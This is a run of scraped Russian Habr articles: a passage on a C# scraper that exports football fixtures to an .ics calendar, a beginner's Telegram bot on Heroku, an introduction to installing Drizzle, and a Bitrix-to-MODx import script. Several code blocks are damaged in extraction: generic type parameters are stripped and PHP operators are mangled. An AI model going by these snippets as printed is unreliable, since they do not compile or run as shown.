/// Название ФК.
public string NameFC
{
get;
set;
}
///
/// Лист матчей команды
///
/// Лист матчей
public List ListMatches
{
get;
set;
}
///
/// Initializes a new instance of the class.
///
public Matches()
{
ListMatches = new List();
NameFC = null;
}
///
/// Initializes a new instance of the class.
///
/// Название ФК.
public Matches(string nameFC)
{
ListMatches = new List();
NameFC = nameFC;
}
///
/// Возращает a , которая является текстовым
/// представлением .
///
///
/// Возращает a , которая является текстовым
/// представлением .
///
public override string ToString()
{
return string.Format("Матчи ФК \"{0}\", количество {1}", NameFC, ListMatches);
}
}
}
```
Ну и собственно основной класс **Program.cs**, в котором мы парсим указанный сайт и сохраняем все в текстовый файл, из которого мы перенесём все события в календарь с помощью **AppleScript**.
**Program.cs**
```
using System;
using HtmlAgilityPack;
using System.Collections.Generic;
using System.Linq;
namespace barca_matches_to_the_calendar
{
class MainClass
{
public static void Main(string[] args)
{
// Адрес сайта, откуда будем парсить данные.
string WebAddress = @"http://www.sports.ru/barcelona/calendar/";
// Создаём экземляры классов веб-страницы и веб-документа
HtmlWeb WebGet = new HtmlWeb();
// Загружаем html-документ с указанного сайта.
HtmlDocument htmlDoc = WebGet.Load(WebAddress);
// Сюда будем сохранять матчи
Matches MatchesFC = new Matches();
// Парсим название клуба (удаляя символ возрата каретки)
MatchesFC.NameFC = htmlDoc.DocumentNode.
SelectSingleNode(".//*[@class='titleh2']").
FirstChild.InnerText.Replace("\r\n", "");
// Находим в этом документе таблицу с датами матчей с помощью XPath-выражений.
HtmlNode Table = htmlDoc.DocumentNode.SelectSingleNode(".//*[@class='stat-table']/tbody");
// Из полученной таблицы выделяем все элементы-строки с тегом "tr".
IEnumerable rows = Table.Descendants().Where(x => x.Name == "tr");
foreach (var row in rows)
{
// Создаём коллекцию из ячеек каждой строки.
HtmlNodeCollection cells = row.ChildNodes;
// Создаём экземпляр класса SingleMatch, чтобы затем добавить его в лист.
SingleMatch match = new SingleMatch();
// Парсим дату, предварительно убирая из строки символ черточки "|",
// иначе наш метод TryParse не сможет правильно обработать.
DateTime time;
DateTime.TryParse(cells[1].InnerText.Replace("|", " "), out time);
match.StartTime = time;
// Остальные поля просто заполняем, зная нужный нам индекс.
match.Tournament = cells[3].InnerText;
// В ячейке "Соперник" нужно удалить символ неразрывного пробела (" ")
match.Rival = cells[5].InnerText.Replace(" ", "");
match.Place = cells[6].InnerText;
// Добавляем одиночный матч в лист матчей.
MatchesFC.ListMatches.Add(match);
}
// Сохраняем полученный результат.
foreach (SingleMatch match in MatchesFC)
{
// Переменная для адреса файла в котором мы сохраняем матчи в текстовом формате
// (считая от рабочей директории проекта)
string path = @"matches.txt";
// Записываем матчи
using (StreamWriter file = new StreamWriter(path, true))
{
file.WriteLine(match);
}
}
Console.WriteLine("Все матчи записаны в файл успешно!");
}
}
}
```
Окей, сайт запарсили, все матчи лежат в файле в удобно-читаемом формате, возвращаемся к **AppleScript**.
(Где-то здесь я подумал, а нет ли где-нибудь на сайте или в приложении уже готовой кнопочки для импорта всего календаря. Скачал приложение сайта на телефон, и нашел там добавление напоминания об одном матче, но не о всех сразу. Да и даже если бы обнаружил импорт всего календаря игр сразу, вряд ли остановился, ведь это не *путь Джедая!*).
Новое — хорошо забытое старое
-----------------------------
С помощью Finder открываем файл, парсим его и передаём в функцию создания события.
**Что из из этого вышло**
```
tell application "Finder"
--Вызываем окно, в котором выберем наш файл и разобьём его по параграфам (т.е. по символам новой строки)
set Matches to paragraphs of (read (choose file with prompt "Выберите файл, в котором сохранено расписание матчей"))
repeat with Match in Matches
if length of Match is greater than 0 then
--Парсим текст с помощью разделителей '=', ',' и символа новой строки '\n'
set AppleScript's text item delimiters to {"=", ",", ASCII character 13}
--Создаём событие и передаём туда данные
my CreateEvent(text item 2 of Match, text item 4 of Match, text item 6 of Match, text item 8 of Match, text item 10 of Match)
end if
end repeat
end tell
on CreateEvent(textDate, tournament, fc, rival, place)
--Здесь очень кривой парсинг даты из текста
set startDate to the current date
set the day of startDate to (text 1 thru 2 of textDate)
set the month of startDate to (text 4 thru 5 of textDate)
set the year of startDate to (text 7 thru 10 of textDate)
set the hours of startDate to (text 12 thru 13 of textDate)
set the minutes of startDate to (text 15 thru 16 of textDate)
set the seconds of startDate to (text 18 thru 19 of textDate)
-- Конец очень кривого парсинга даты из текста
set endDate to (startDate + 2 * hours)
tell application "Calendar"
create calendar with name "Футбол"
tell calendar "Футбол"
--Создаём событие с переданными параметрами
make new event with properties {description:"Матч" & fc & " : " & rival & ". " & place, summary:"Матч", start date:startDate, end date:endDate}
end tell
end tell
end CreateEvent
```
Но где-то посередине ~~этого быдлокодинга~~ написания этого скрипта, я *вдруг* обнаружил (на этом моменте читатели, которые смотрели на все эти сложности с вопросом «Зачем так сложно?» вздохнули с облегчением), что есть такой формат календарей — "*.ics"*, который проглатывает и **Mac Calendar**, и **Google Calendar**, и даже **Outlook**, и, следовательно, наверняка есть какая-нибудь библиотека на **C#,** которая позволяет сохранять события в этот самый *".ics"*.
Еще чуть-чуть и наш костыльный велосипед готов
----------------------------------------------
Установив и подключив библиотеку **DDay.iCal**, немного изменим наш класс **Program.cs**:
**Program.cs**
```
using System;
using HtmlAgilityPack;
using System.Collections.Generic;
using System.Linq;
using DDay.iCal;
using DDay.iCal.Serialization.iCalendar;
using System.Security.Cryptography;
namespace barca_matches_to_the_calendar
{
class MainClass
{
public static void Main(string[] args)
{
// Адрес сайта, откуда будем парсить данные.
string WebAddress = @"http://www.sports.ru/barcelona/calendar/";
// Создаём экземляры классов веб-страницы и веб-документа
HtmlWeb WebGet = new HtmlWeb();
// Загружаем html-документ с указанного сайта.
HtmlDocument htmlDoc = WebGet.Load(WebAddress);
// Сюда будем сохранять матчи
Matches MatchesFC = new Matches();
// Парсим название клуба (удаляя символ возрата каретки)
MatchesFC.NameFC = htmlDoc.DocumentNode.
SelectSingleNode(".//*[@class='titleH1']").
FirstChild.InnerText.Replace("\r\n", "");
// Находим в этом документе таблицу с датами матчей с помощью XPath-выражений.
HtmlNode Table = htmlDoc.DocumentNode.SelectSingleNode(".//*[@class='stat-table']/tbody");
// Из полученной таблицы выделяем все элементы-строки с тегом "tr".
IEnumerable rows = Table.Descendants().Where(x => x.Name == "tr");
foreach (var row in rows)
{
// Создаём коллекцию из ячеек каждой строки.
HtmlNodeCollection cells = row.ChildNodes;
// Создаём экземпляр класса SingleMatch, чтобы затем добавить его в лист.
SingleMatch match = new SingleMatch();
// Парсим дату, предварительно убирая из строки символ черточки "|",
// иначе наш метод TryParse не сможет правильно обработать.
DateTime time;
DateTime.TryParse(cells[1].InnerText.Replace("|", " "), out time);
match.StartTime = time;
// Остальные поля просто заполняем, зная нужный нам индекс.
match.Tournament = cells[3].InnerText;
// В ячейке "Соперник" нужно удалить символ неразрывного пробела (" ")
match.Rival = cells[5].InnerText.Replace(" ", "");
match.Place = cells[6].InnerText;
// Добавляем одиночный матч в лист матчей.
MatchesFC.ListMatches.Add(match);
}
// Создаём календарь, в который будем сохранять матчи.
iCalendar CalForMatches = new iCalendar
{
Method = "PUBLISH",
Version = "2.0"
};
// Эти настройки нужны для календаря Mac, чтобы он был неотличим от
// оригинального календаря (т.е. созданного внутри Mac Calendar)
CalForMatches.AddProperty("CALSCALE", "GREGORIAN");
CalForMatches.AddProperty("X-WR-CALNAME", "Mатчи ФК " + MatchesFC.NameFC);
CalForMatches.AddProperty("X-WR-TIMEZONE", "Europe/Moscow");
CalForMatches.AddLocalTimeZone();
// Сохраняем полученный результат.
foreach (SingleMatch match in MatchesFC.ListMatches)
{
Event newMatch = CalForMatches.Create();
newMatch.DTStart = new iCalDateTime(match.StartTime);
newMatch.Duration = new TimeSpan(2, 30, 0);
newMatch.Summary = string.Format("{0} : {1}", MatchesFC.NameFC, match.Rival);
newMatch.Description = string.Format("{0}. {1} : {2}, {3}",
match.Tournament, MatchesFC.NameFC, match.Rival, match.Place);
// Добавим напоминание к матчам, чтобы не забыть о них
Alarm alarm = new Alarm();
alarm.Trigger = new Trigger(TimeSpan.FromMinutes(-10));
alarm.Description = "Напоминание о событии";
alarm.AddProperty("ACTION", "DISPLAY");
newMatch.Alarms.Add(alarm);
}
// Сериализуем наш календарь.
iCalendarSerializer serializer = new iCalendarSerializer();
serializer.Serialize(CalForMatches, MatchesFC.NameFC + ".ics");
Console.WriteLine("Календарь матчей сохранён успешно" + Environment.NewLine);
return;
}
}
}
```
Здесь отдельного внимания заслуживает строка
```
alarm.AddProperty("ACTION", "DISPLAY");
```
Изначально здесь было
```
alarm.Action = AlarmAction.Display;
```
из-за которой все напоминания не хотели импортироваться в календарь лишь потому что слово *«Display»* записывалось не заглавными буквами, а как обычное слово и календарь мака не смог распознать *этот чудовищный криптокод*.
Ноги ~~на педали~~ на костыли и поехали!
----------------------------------------
Итак, получилось, календарь игр сохранён. Создаем новый календарь **iCloud** (чтобы оповещения приходили на все *iустройства*), скрещиваем пальцы и импортируем файл календаря в наш новый календарь **iCloud**:
[](https://habrastorage.org/files/65c/8ff/861/65c8ff86115941e6850d71a308d58e5f.png)

[](https://habrastorage.org/files/dcb/ac1/874/dcbac1874a444641ade01b37cb687758.png)
Гип-гип-ура, осталось выбрать подходящий цвет (здесь проблем возникнуть не должно), и мы получили график игр с напоминаниями. Надеюсь, теперь я буду реже пропускать игры.
#### Исходники:
[гитхаб](https://github.com/105th/Save-matches-to-calendar/)
#### Используемые ресурсы:
[AppleScript](http://habrahabr.ru/post/23312/)
[xpath-выражения](http://habrahabr.ru/post/114772/)
[Примеры использования DDay.iCal](https://github.com/mdavid/DDay-iCal-svn/tree/master/Examples/C%23)
[Примеры использования HtmlAgillityPack](http://www.codeproject.com/Articles/659019/Scraping-HTML-DOM-elements-using-HtmlAgilityPack-H)
**P.S.** Многие из Вас могут задаться вопросом:*«Смысл писать свое, если уже есть готовое?»*
Ответ: Мне еще ни разу не доводилось ничего парсить, а тут удобная и интересная возможность попробовать что-то новое. | https://habr.com/ru/post/265393/ | null | ru | null |
# Telegram-bot: моя история. Часть первая

Доброго времени суток, Хабрахабр! Целью статьи является рассказать начинающим программистам о возможности не только разработать что-то интересное на основе несложных инструментов, но и разместить проект в общий доступ, а при усердных стараниях увидеть, что не только автор может оценить потраченные усилия.
Ближе к делу — мой первый пет-проект, решающий проблему доступа к расписанию университета на мобильных устройствах через Telegram, с аудиторией более, чем сто пятьдесят уникальных посетителей в сутки. Несмотря на то, что цифра не является заоблачной, это совсем неплохой результат, выступающий последующей долговременной средой настоящей боевой разработки, учитывая все возможные особенности, и сопровождения продукта длительный период, что бесспорно полезно и ценно для каждого разработчика.
**UPD**: проект успешно прошел рефакторинг с помощью авторского фреймворка для расписаний занятий университетов — «Rutetider» ([статья на Хабрахабре](https://habrahabr.ru/post/326222/), [GitHub](https://github.com/DmytryiStriletskyi/Rutetider)). Поэтому некоторые моменты в этой статье могут не совпадать, часть когда может отсутвовать или выглядеть по-другому, но концепция сохранена.
Не обладая возможностью расширить доступ к расписанию с помощью мобильных приложений, было решено воспользоваться одним из ряда популярных мессенджеров, а именно — автоматизированных алгоритмов внутри, то есть ботами.
Заранее скажу, что языком программирования является Python, что, впрочем, не важно по причине общедоступности и кросс-платформенности как необходимых в этой статье ресурсов, так и большинства прочих, возможных для использования в других проектах. А также упущены легкодоступные пояснения, например, объяснение работы подключаемого модуля (библиотеки), регистрация токена бота-Телеграм или любой другой очевидный момент, расположенный прямиком в гугле по первой ссылке.
Предоставляю следующий набор требуемых областей, задействованных в проекте ([ссылка на github.com](https://github.com/DmytryiStriletskyi/DuttyBot)). В сумме категорий можно оценить обширность знаний, необходимых для применения, а лучше — потенциально открытых к изучению:
* [pyTelegramBotAPI](https://github.com/eternnoir/pyTelegramBotAPI) — основная библиотека для взаимодействия с [API Telegram](https://core.telegram.org/bots/api).
* [Heroku Cloud Application Platform](https://devcenter.heroku.com/) — поддержка внушительного ряда языков, большая и легкая (местами заставляющая монитор лить воду) документация с обучающими инструкциями для новичков, наличие удобного интерфейса для полной работы с приложением, включая доступ через консоль, наличие баз данных. Важным фактором является возможность [«крутиться» на сервере круглосуточно](https://devcenter.heroku.com/articles/free-dyno-hour-faq#how-many-free-dyno-hours-will-i-receive).
* [Github](https://github.com) — работа с развертыванием приложения на сервере проходит с системой контроля версий Git. Приятный бонус — это без времязатрат совмещать со своим репозиторием.
* PostgreSQL — базы данных SQL, сказать и нечего.
В процесс стоит добавить использование виртуального окружения, одного из важных фреймворков (Flask), внушительного набора импортируемых модулей и всего, что я не вспомнил.
О проекте в целом
=================
Я не всегда имел возможность посмотреть какие предметы необходимо сегодня посетить и в каких именно аудиториях располагаются мои одногруппники. Единственными альтернативами на данный момент является вход на не адаптивный сайт университета от слова «совсем» и посещение паблика в социальных сетях, что абсолютно не устраивает лично меня как пользователя.
Решено — «нутакие» знания одно языка, ноль реального опыта программирования проектов, и еще хуже — отсутствие опыта разработки, я принялся подготавливать дальнейший путь приложения. Мне повезло с бизнес-планом, он находился на сайте расписания, все что мне нужно было или нужно сейчас реализовать — уже реализовано другими, осталось только украсть и немного додумать.

На данный момент начальное и конечное меню соответственно порядку картинок выглядит так.
**1) Сделать возможность в несколько нажатий получить расписание на сегодняшний и завтрашний день** — начиная с кнопки «Получить расписание» и заканчивая выбором дня («На сегодня» или «На завтра»), пользователю необходимо выбрать свой факультет, курс и группу.
* **Почему нельзя сделать расписание на всю неделю?** Потому что хочу, чтобы моим ботом пользовалось более, чем тридцать человек в сутки (большинство хороших обновлений, которые я никогда не выпущу, плохо влияют на онлайн).
* **Почему нужно жать так много кнопок, нельзя сократить или просто написать свою группу один раз?** Я знаю, что удобнее нажать на экран мобильного телефона три раза, чем написать свою группу четко и правильно (от двух букв, двух цифр и дефиса и больше), вызвав экранную клавиатуру, к тому же финальным меню можно воспользоваться и на следующий день.
**2) Стикер с временными интервалами пар** — стикер это весело, стикер это прикольно, а еще ими можно обмениваться, поэтому на них жмут от трети пользователей каждый день, хотя большой необходимости нет (история чата сохраняется, листать вверх не сложно). На данный момент стикер можно усовершенствовать, добавив в него время перерывов.
**3) Функция расписания по подписке** — я заведомо, до самой первой строчки кода, знал, что необходимо ввести что-то, что позволит получить расписание в один клик. Необходимость пройти все этапы, в которых указывается все тот же факультет, курс и группа, остались, но делать это постоянно — нет. В конечном меню есть кнопка «Подписаться на эту группу», с помощью которой пользователь, не делая «лишних движений», получает расписание на два дня за один раз.
**4) Обратная связь и обновления** — это минорные, но очень важные функции, если в первом варианте необходимо иметь возможность услышать своих пользователей (от просьб ввести что-то новое и репортов на баги до похвалы и благодарности), то во втором — научиться сообщать своему коммьюнити о проблемах на сервере, новых релизах и другую важную информацию.
**5) Вернуться назад** — это первая реализованная функция по многочисленным просьбам ~~трудящихся~~ пользователей. Очевидное преимущество перед ошибочными переходами воплотилось всего за пару дней, учитывая сложную для данного приложения архитектуру таблиц данных.
**6) Сбор статистики** — статистика по каждому пользователю и его действиям. В итоге получаем информацию, когда стоит вводить обновления, которые нужно протестировать нагрузочно, а когда «под шумок». На основе данных также можно обозначить рамки релевантности той или иной области.
**7) Вся работа должна быть автоматизирована** — встроенный CRON в виде подключаемой библиотеке на сервере — это обычный планировщик, выполняющий задачи в заданный период времени.
* **Ежедневное обновление дат** — сразу после полуночи доступны обновленные даты расписания на текущий и завтрашний день.
* **Еженедельное обновления расписания** — по определенным ресурсным причинам на сервисе отсутствует возможность обновлять его каждый день, поэтому пользователи могут рассчитывать на обновление пар раз в неделю (с 04.12 расписание обновляется ежедневно).
Аспекты развертывания приложения
================================
Здесь я опишу неочевидные инструкции по развертыванию на Heroku Cloud Platform, включая технический код в виде подключения к серверу, внедрения баз данных и оформления приложения. Перед прочтением желательно ознакомиться с [обучающими инструкциями для новичков](https://devcenter.heroku.com/start), «пощупать» уже готовый предложенный в нем проект и интерфейс сервиса.
Для общего удобства все переменные и данные содержаться в одном участке кода, но вы так не делайте, делайте конфиги.
Заставляем облачный сервис, на котором уже создан наш проект, увидеть главный скрипт:
```
import telebot
import os
from flask import Flask, request
bot = telebot.TeleBot(токен вашего бота)
server = Flask(__name__)
@bot.message_handler(commands=['start'])
def start(message):
bot.reply_to(message, 'Hello, ' + message.from_user.first_name)
@bot.message_handler(func=lambda message: True, content_types=['text'])
def echo_message(message):
bot.reply_to(message, message.text)
@server.route("/токен бота", methods=['POST'])
def getMessage():
bot.process_new_updates([telebot.types.Update.de_json(request.stream.read().decode("utf-8"))])
return "!", 200
@server.route("/")
def webhook():
bot.remove_webhook()
bot.set_webhook(url="https://ссылка на приложение/токен вашего бота")
return "!", 200
server.run(host="0.0.0.0", port=os.environ.get('PORT', 5000))
```
Все необходимое для подключения доступно в Database Credentials на странице баз данных (имя пользователя, пароль, хост, порт и собственно само название базы данных). Все помещается в маленький скрипт с использованием удобных модулей для разработки:
```
import dj_database_url
import psycopg2
DATABASELINK = "postgres://username:password@host:port/database"
db_info = dj_database_url.config(default=DATABASELINK)
connection = psycopg2.connect(database=db_info.get('NAME'),
user=db_info.get('USER'),
password=db_info.get('PASSWORD'),
host=db_info.get('HOST'),
port=db_info.get('PORT'))
cursor = connection.cursor()
```
Данного материала вполне достаточно, чтобы самостоятельно начать этап разработки продукта.
Если сообщество оценит статью и проявит маломальский интерес к продолжению — обязательно порадую следующей частью, в которой опишу всю техническую логику приложения и расскажу, чем увенчался этот маленький успех для меня по итогам ([часть два по ссылке](https://habrahabr.ru/post/317280/)). | https://habr.com/ru/post/316868/ | null | ru | null |
# Знакомство с Drizzle
[](https://launchpad.net/drizzle)[Drizzle](https://launchpad.net/drizzle) это СПО система управления базами данных (СУБД), которая отпочковалась от MySQL, соответственно обладает клиент-серверной архитектурой и использует SQL в качестве языка команд, распространяется под лицензией GNU General Public License v2. Прототип был сделан Брайаном «Krow» Эйкером (директор MySQL по архитектуре). Разработка возложена целиком на сообщество, среди контрибуторов сотрудники Canonica, Google, Six Apart, Sun Microsystems. [©](http://en.wikipedia.org/wiki/Drizzle_(database_server))
#### **Введение**
Если вы не очень далеки от мира СПО, то скорее всего вы уже слышали кое-что о Drizzle и в принципе можете перейти к следующему разделу, для тех кто впервые узнает об этой СУБД — немного вводной информации ниже.
Проект Drizzle нацелен на построение облегченной версии MySQL обестечивающей достаточный уровень стабильности и простоты использования, но некоторые возможности будут исключены с целью повышения производительности и масштабируемости. Проект еще очень молод, но уже широко известен в узких кругах разработчиков СПО, которые заинтересованы в экспериментах над этим продуктом, его развитии и внедрении в свои проекты. Из статьи вы узнаете как собрать и установить СУБД Drizzle и подключиться к ней с помощью PHP.
По словам с официального веб-сайта, Drizzle это «база данных оптимизированная для облачных вычислений и сетевых приложений… для массивной параллелизаии на системах с мультипроцессорной ахрхитектурой», распространяется под GNU GPL v2, и ведет все это дело Брайан Акер из MySQL.
Несмотря на то что, Drizzle отпочковался от MySQL, он не предназначен для замены MySQL, а, скорее, он разработан для пользователей, которые хотят иметь простой в использовании инструмент обладающий надежностью MySQL, обладает [ACID](http://ru.wikipedia.org/wiki/ACID) свойствами и не используют некоторые из новых возможностей MySQL, такие как хранимые процедуры, триггеры и представления.
Также есть и некоторые другие отличается от MySQL:
* По умолчанию используется движок InnoDB вместо MyISAM;
* Поддерживается меньше типов данных, чем MySQL;
* Использует отличный от MySQL'евского клиент/серверный протокол;
* Поддерживает расширяемую архитектуру с поддержкой подключаемых модулей, что позволяет разработчикам собрать систему только с теми модулями, которые необходимы (по сути как Apache c PHP).
Больше информации об отличиях вы сможете получить из из [этого поста](http://monty-says.blogspot.com/2008/07/what-if.html) или [Drizzle FAQ](http://drizzle.org/wiki/FAQ).
Важно отметить, что Drizzle все еще находится в стадии развития и сами разработчики заявляют, что код еще не пригоден для применения в реальных проектах, так что вы ищите что порекомендовать вашему боссу или клиенту, вам следует посмотреть в сторону MySQL, PostgreSQL или SQLite на данный момент.
#### **Получение дистрибутива**
Drizzle в настоящее время доступен для Mac OS X, Linux и Solaris Express платформ и требует GCC v4.1 или выше; Windows пока не поддерживается. Для начала скачайте архив исходных кодов:
* [Сервер баз данных](https://launchpad.net/drizzle) (drizzle)
* [Библиотека протокола](https://launchpad.net/libdrizzle) (libdrizzle)
Распакуйте их, скомпилируйте и установите их на вашей системе, как показано ниже:
> `> tar -xzvf libdrizzle-0.3.tar.gz
>
> > cd libdrizzle-0.3
>
> > ./configure
>
> > make
>
> > make install
>
>
>
> > tar -xzvf drizzle-2009.06.1063.tar.gz
>
> > cd drizzle-2009.06.1063
>
> > ./configure --with-libprotobuf-prefix=/usr/local
>
> > make
>
> > make install`
В статье будет рассматриваться Drizzle v2009.06.1063 с libdrizzle v0.3. Заметим, что Drizzle использует библиотеку [Google Protocol Buffers](http://code.google.com/p/protobuf/downloads/list), поэтому вероятно вам потребуется скачать и скомпилировать ее для вашей системы. подробные инструкции можно найти на сайте Protocol Buffers. В данной статье используется версия 2.0.3, а не более поздняя v2.1.0, чтобы избежать ошибку, [связанную с pthreads](https://bugs.launchpad.net/drizzle/+bug/387913).
По умолчанию, сервер Drizzle будет установлен в /usr/local/sbin/drizzled, а клиент в /usr/local/bin/drizzle, после установки создайте не привилегированную группу и пользователя для сервера как показано ниже:
> `shell> groupadd drizzle
>
> shell> useradd -g drizzle drizzle`
Так же нужно создать директорию для файлов базы и выдать соответствующие права:
> `> mkdir /usr/local/drizzle
>
> > mkdir /usr/local/drizzle/data
>
> > cd /usr/local/drizzle
>
> > chown -R drizzle .
>
> > chgrp -R drizzle .`
После этих действий запускаем сервер Drizzle следующим образом:
> `> /usr/local/sbin/drizzled --user=drizzle --basedir=/usr/local/drizzle/ --datadir=/usr/local/drizzle/data/ &
>
> InnoDB: The InnoDB memory heap is disabled
>
> InnoDB: Mutexes and rw_locks use GCC atomic builtins.
>
> InnoDB: The first specified data file ./ibdata1 did not exist:
>
> InnoDB: a new database to be created!
>
> 090630 10:29:42 InnoDB: Setting file ./ibdata1 size to 10 MB
>
> InnoDB: Database physically writes the file full: wait...
>
> 090630 10:29:42 InnoDB: Log file ./ib_logfile0 did not exist: new to be created
>
> InnoDB: Setting log file ./ib_logfile0 size to 5 MB
>
> InnoDB: Database physically writes the file full: wait...
>
> 090630 10:29:42 InnoDB: Log file ./ib_logfile1 did not exist: new to be created
>
> InnoDB: Setting log file ./ib_logfile1 size to 5 MB
>
> InnoDB: Database physically writes the file full: wait...
>
> InnoDB: Doublewrite buffer not found: creating new
>
> InnoDB: Doublewrite buffer created
>
> InnoDB: Creating foreign key constraint system tables
>
> InnoDB: Foreign key constraint system tables created
>
> 090630 10:29:43 InnoDB Plugin 1.0.3 started; log sequence number 0
>
> /usr/local/sbin/drizzled: ready for connections.
>
> Version: '2009.06.1063' socket: '' port: 4427 Source distribution`
Клиент Drizzle очень похож на клиент MySQL:
> `> /usr/local/bin/drizzle
>
> Welcome to the Drizzle client.. Commands end with ; or \g.
>
> Your Drizzle connection id is 24
>
> Server version: 2009.06.1063 Source distribution
>
> Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
>
>
>
> drizzle>`
Теперь вы можете выполнять SQL команды на сервере, так же, как и с MySQL.
> ````
>
> drizzle> SELECT VERSION();
> +--------------+
> | VERSION() |
> +--------------+
> | 2009.06.1063 |
> +--------------+
> 1 row in set (0 sec)
>
> ````
Создадим базу данных и добавим в нее таблицу:
> `drizzle> CREATE DATABASE test;
>
> Query OK, 1 row affected (0 sec)
>
>
>
> drizzle> USE test;
>
> Database changed
>
>
>
> drizzle> CREATE TABLE items (
>
> -> ItemID INT NOT NULL AUTO_INCREMENT PRIMARY KEY,
>
> -> ItemDesc VARCHAR(255) NOT NULL,
>
> -> ItemQty INT NOT NULL
>
> -> );
>
> Query OK, 0 rows affected (0.01 sec)`
Согласно Drizzle FAQ, поддерживаются следующие типы данных TEXT, BLOB, VARCHAR, VARBINARY, TIMESTAMP, DATETIME, DATE, TIME, ENUM, INT, DOUBLE и DECIMAL. Продолжим создавать нашу базу данных добавив в таблицу следующие записи:
> `drizzle> INSERT INTO items (ItemDesc, ItemQty) VALUES ('Bacon', 4);
>
> Query OK, 1 row affected (0 sec)
>
>
>
> drizzle> INSERT INTO items (ItemDesc, ItemQty) VALUES ('Eggs', 3);
>
> Query OK, 1 row affected (0 sec)
>
>
>
> drizzle> INSERT INTO items (ItemDesc, ItemQty) VALUES ('Milk', 1);
>
> Query OK, 1 row affected (0 sec)
>
>
>
> drizzle> INSERT INTO items (ItemDesc, ItemQty) VALUES ('Apples', 6);
>
> Query OK, 1 row affected (0.01 sec)`
Проверим что все корректно добавилось выполнив SELECT:
> ````
>
> drizzle> SELECT * FROM items;
> +--------+----------+---------+
> | ItemID | ItemDesc | ItemQty |
> +--------+----------+---------+
> | 1 | Bacon | 4 |
> | 2 | Eggs | 3 |
> | 3 | Milk | 1 |
> | 4 | Apples | 6 |
> +--------+----------+---------+
> 4 rows in set (0 sec)
>
> ````
#### **Поддержка в PHP**
Поддержка Drizzle в PHP осуществляется через соответствующее расширение PHP, которая обеспечивает полноценное API для доступа к базе данных. Это расширение в настоящее время поддерживается Эриком Дэй, Джеймсом Люэдке и некоторыми другими разработчиками, находится в свободном доступе в PECL по PHP лицензией. Несмотря на то, что расширение находится в стадии разработки, оно позволяет осуществлять большинство из общих задач, связанных с доступом и использованием данных из Drizzle внутри PHP приложений. Установить расширение из PECL можно следующим образом:
> ````
>
> shell> pecl install drizzle-beta
>
> ````
Но в принципе можно собрать и из исходников:
> ````
>
> shell> tar -xzvf drizzle-0.4.0.tar.gz
> shell> cd drizzle-0.4.0
> shell> phpize
> shell> ./configure
> shell> make
> shell> make install
>
> ````
После этих действий, у вас должен появиться загружаемый модуль с названием drizzle.so в директории модулей PHP. Включите это расширение в php.ini, перезапустите Web-сервер и убедитесь в том, что расширение активно вызвав phpinfo():

*P. S.
Это не полный перевод — в нем отсутствуют примеры применения, но те кому они интересны могут посмотреть их пока в оригинальной статье.* | https://habr.com/ru/post/64050/ | null | ru | null |
# Импорт инфоблоков из 1С-Битрикс в MODx Revolution
Третьего дня задали задачу — написать скрипт для переезда с Битрикс на MODx. Задача показалась интересной, тем более, что с Битрикс толком ни разу не работал.

Ничего не могу написать про саму систему, так как даже в админку не заходил — работал только с базой данных. Кстати, это 322 таблицы, против 68 у MODx.
О полном переносе всего-всего речи конечно не шло, была поставлена задача импортировать содержимое определенных инфоблоков (статей и новостей), с авторами и некоторыми свойствами (картинки, дата публикации).
И конечно, сохранить все url адреса, хорошо проиндексированные поисковиками.
Думаю, что при некотором усердии этот скрипт можно допилить для работы с другими CMS, типа Joomla или Drupal.
В конце топика архив для скачивания, а я пока немного расскажу, как работает скрипт.
3 файла:
* **config.inc.php** — массив с определенной структурой, в которой лежат настройки для каждого инфоблока
* **import.class.php** — класс с методами
* **process.php** — файл для запуска, подключает конфиг и класс
#### Конфигурация
Все нужные для работы данные вносим в массив:
```
'table_prefix' => 'bitrix_'
,'blocks' => array(
'articles' => array(
'id' => 3
,'cat_tpl' => 3
,'tpl' => 3
,'uri_override' => 1
,'preview_picture' => 'preview_picture'
,'detail_picture' => 'detail_picture'
)
```
В массиве blocks хранятся настройки импорта конкретных инфоблоков:
* **id** — номер родительского ресурса для импорта всех страниц инфоблока. Нужно создать заранее.
* **cat\_tpl** — идентификатор шаблона для контейнеров (категорий)
* **tpl** — идентификатор шаблона для обычных ресурсов
* **uri\_override** — заморозить uri страницы, нужно для сохранения старых ссылок.
* **preview\_picture** — ТВ параметр для сохранения мелкой картинки страницы, необязательно
* **detail\_picture** — ТВ параметр для большой картинки, необязательно
Также в настройках указывается префикс таблиц Битрикса. Я считаю, что они лежат в одной базе данных с таблицами MODx.
#### Доступные методы
Теперь нужно заглянуть в файл proccess.php.
Там подключается сам MODx, класс импорта и вызываются нужные методы для импорта:
* **truncateTable** — принимает id ресурса, и удаляет все ресурсы после него. Полезно для эксперементов.
* **importBlock** — непосредственно импорт инфоблока, принимает его имя (и ищет в массиве конфига настройки)
* **linkToAuthors** — метод нужный лично для моей ситуации, связывает страницы авторов статей со статьями. Пригодится как пример.
* **getProps** — принимает имя секции инфоблока и выдает ее свойства (правила для построения uri и подобное)
* getElements — принимает id секции и выводит все ее дочерние страницы
* **getSections** — строит дерево категорий (из секций), вкладывает их друг в друга, как на оригинальном сайте. Принимает свойства из getProps и конфиг
* **getFile** — принимает id файла и выдает его свойства (адрес, имя). Файлы цепляются у Битрекса через отдельную таблицу в БД.
* **makeURI** — создание uri для ресурса MODx (нам же нужно его сохранить) по шаблону из свойств секции
* **getProperty** — дополнительные элементы эелемента инфоблока. Что то типа ТВ у MODx.
В целом, практически все методы написаны чтобы работать в importBlock.
При его запуске достаются свойства секции, создаются ее подкатегории, потом импортируются в них ресурсы и сохраняются картинки в ТВшечки.
#### Uri страниц
Самое главное — работают все uri, при использовании следующего плагина, конечно:
```
php
if ($modx-event->name == 'OnPageNotFound') {
$uri = parse_url(substr($_SERVER['REQUEST_URI'],1));
$query = explode('&', $uri['query']);
$num1 = count($query);
$query = array_unique($query);
$num2 = count($query);
if ($num1 != $num2) {
$modx->sendRedirect($modx->getOption('site_url').$uri['path'].'?'.implode('&', $query));
}
else if ($res = $modx->getObject('modResource', array('uri' => $uri['path'].'?'.$query[0]))) {
$modx->sendForward($res->get('id'));
}
}
```
Так как в Битриксе (не знаю, всегда, или только в моем случае) вот такие адреса — news/detail.php?news=6868, нужно еще заставить веб-сервер отдавать их на index.php в корне сайта. То есть, это как бы у нас такие friendly urls выходят.
Плагин даже заставляет работать пагинацию с getPage. То есть news/detail.php?news=6868&page=5 — отработает корректно.
#### Заключение.
Скрипт я старался писать как можно универсальнее, но не в ущерб основной работе. В любом случае, желающим переехать с Битрикс на MODx теперь есть от чего отталкиваться.
